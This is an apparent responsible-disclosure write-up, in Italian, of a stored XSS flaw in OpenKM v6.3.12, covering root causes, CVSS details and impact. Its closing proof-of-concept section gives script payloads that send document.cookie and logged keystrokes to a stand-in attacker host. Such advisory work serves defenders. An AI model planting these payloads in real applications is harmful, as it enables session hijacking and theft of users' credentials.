
Divulgazione dettagliata di CVE-2026-30503, una vulnerabilità XSS memorizzata in OpenKM v6.3.12. Include analisi delle cause profonde, payload PoC, valutazione dell'impatto e raccomandazioni di remediation per ricercatori di sicurezza e penetration tester.
Scoperto e segnalato da Dharmendra Kumar — Ricercatore di Sicurezza
Cybersicurezza | Penetration Testing | Ricerca di Vulnerabilità | Divulgazione Responsabile
Questo repository documenta la divulgazione responsabile di CVE-2026-30503, una vulnerabilità di Cross-Site Scripting Memorizzata (Stored XSS) identificata in OpenKM v6.3.12 — un sistema di gestione documentale open-source ampiamente utilizzato in ambienti aziendali.
La vulnerabilità consente a un attaccante autenticato di iniettare JavaScript malevolo persistente nell'applicazione, che viene eseguito nel contesto del browser di qualsiasi utente (inclusi gli amministratori) che successivamente visualizza il contenuto interessato.
⚠️ Gravità: Alta | Vettore d'Attacco: Rete | Privilegi Richiesti: Bassi | Interazione Utente: Necessaria
| Campo | Dettagli |
|---|---|
| ID CVE | CVE-2026-30503 |
| Prodotto | OpenKM |
| Versione Affetta | v6.3.12 |
| Classe di Vulnerabilità | Cross-Site Scripting Memorizzata (Stored XSS) |
| CWE | CWE-79: Neutralizzazione Impropria dell'Input Durante la Generazione di Pagine Web |
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| Ricercatore | Dharmendra Kumar |
| Tipo di Divulgazione | Responsabile / Coordinata |
OpenKM è un sistema di gestione documentale (DMS) gratuito e open-source che fornisce un'interfaccia web per la gestione, l'audit e la distribuzione di documenti aziendali. È utilizzato da aziende, enti governativi e istituzioni educative a livello globale.
v6.3.12Sono state scoperte multiple vulnerabilità di Cross-Site Scripting Memorizzata (Stored XSS) in OpenKM v6.3.12. Un attaccante con accesso autenticato a bassi privilegi può iniettare payload JavaScript arbitrari in uno o più campi di input. Questi payload vengono memorizzati permanentemente nel backend dell'applicazione e eseguiti automaticamente ogni volta che un utente — inclusi gli amministratori — accede alla pagina o al componente interessato.
A differenza dell'XSS Riflesso, che richiede che la vittima clicchi su un link costruito ad hoc, i payload di Stored XSS sono incorporati nell'applicazione stessa, rendendoli significativamente più pericolosi e persistenti.
La vulnerabilità deriva da tre debolezze combinate nella pipeline di gestione dell'input dell'applicazione:
Input Utente ──► [NESSUNA Validazione] ──► Memorizzato nel DB ──► [NESSUN Codifica di Output] ──► Visualizzato nel Browser ──► XSS Eseguito
| Debolezza | Descrizione |
|---|---|
| ❌ Validazione Input Mancante | L'applicazione non limita né sanifica i caratteri speciali (<, >, ", ', ;) nei campi forniti dall'utente |
| ❌ Codifica Output Mancante | I valori memorizzati vengono visualizzati direttamente nell'HTML senza codifica in entità HTML |
| ❌ Rendering DOM Non Sicuro | I dati forniti dall'utente vengono incorporati nel contesto DOM senza CSP o controlli di sanificazione |
Uno sfruttamento riuscito di questa vulnerabilità può portare a:
| Rischio | Descrizione |
|---|---|
| 🍪 Hijacking della Sessione | Rubare token di sessione autenticati tramite esfiltrazione di document.cookie |
| 👤 Compromissione dell'Account | Compromettere account della vittima, inclusi account amministratore |
| 🔐 Raccolta di Credenziali | Iniettare moduli di phishing per catturare credenziali di accesso |
| 📤 Esfiltrazione di Dati | Estrarre silenziosamente documenti sensibili o metadati dal DMS |
| ⚙️ Azioni Non Autorizzate | Eseguire operazioni privilegiate per conto della vittima (eliminare/modificare documenti) |
| 🎯 Targeting dell'Amministratore | Il payload viene eseguito nel pannello di amministrazione quando un amministratore esamina il contenuto |
| 🔄 Propagazione del Worm | Un payload XSS auto-replicante può diffondersi tra gli utenti |
⚠️ Disclaimer: Questo PoC è condiviso strettamente per scopi educativi e di ricerca sulla sicurezza secondo i principi della divulgazione responsabile. Non utilizzarlo contro sistemi di cui non si possiede la proprietà o senza esplicito permesso scritto per testarli.
// PoC di base — dimostra l'esecuzione dello script
<script>alert('CVE-2026-30503 - XSS di Dharmendra Kumar')</script>
// Esfiltrazione del token di sessione
<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>
// Iniezione keylogger
<script>document.onkeypress=function(e){fetch('https://attacker.example.com/log?k='+e.key)}</script>
<script>alert(document.cookie)</script>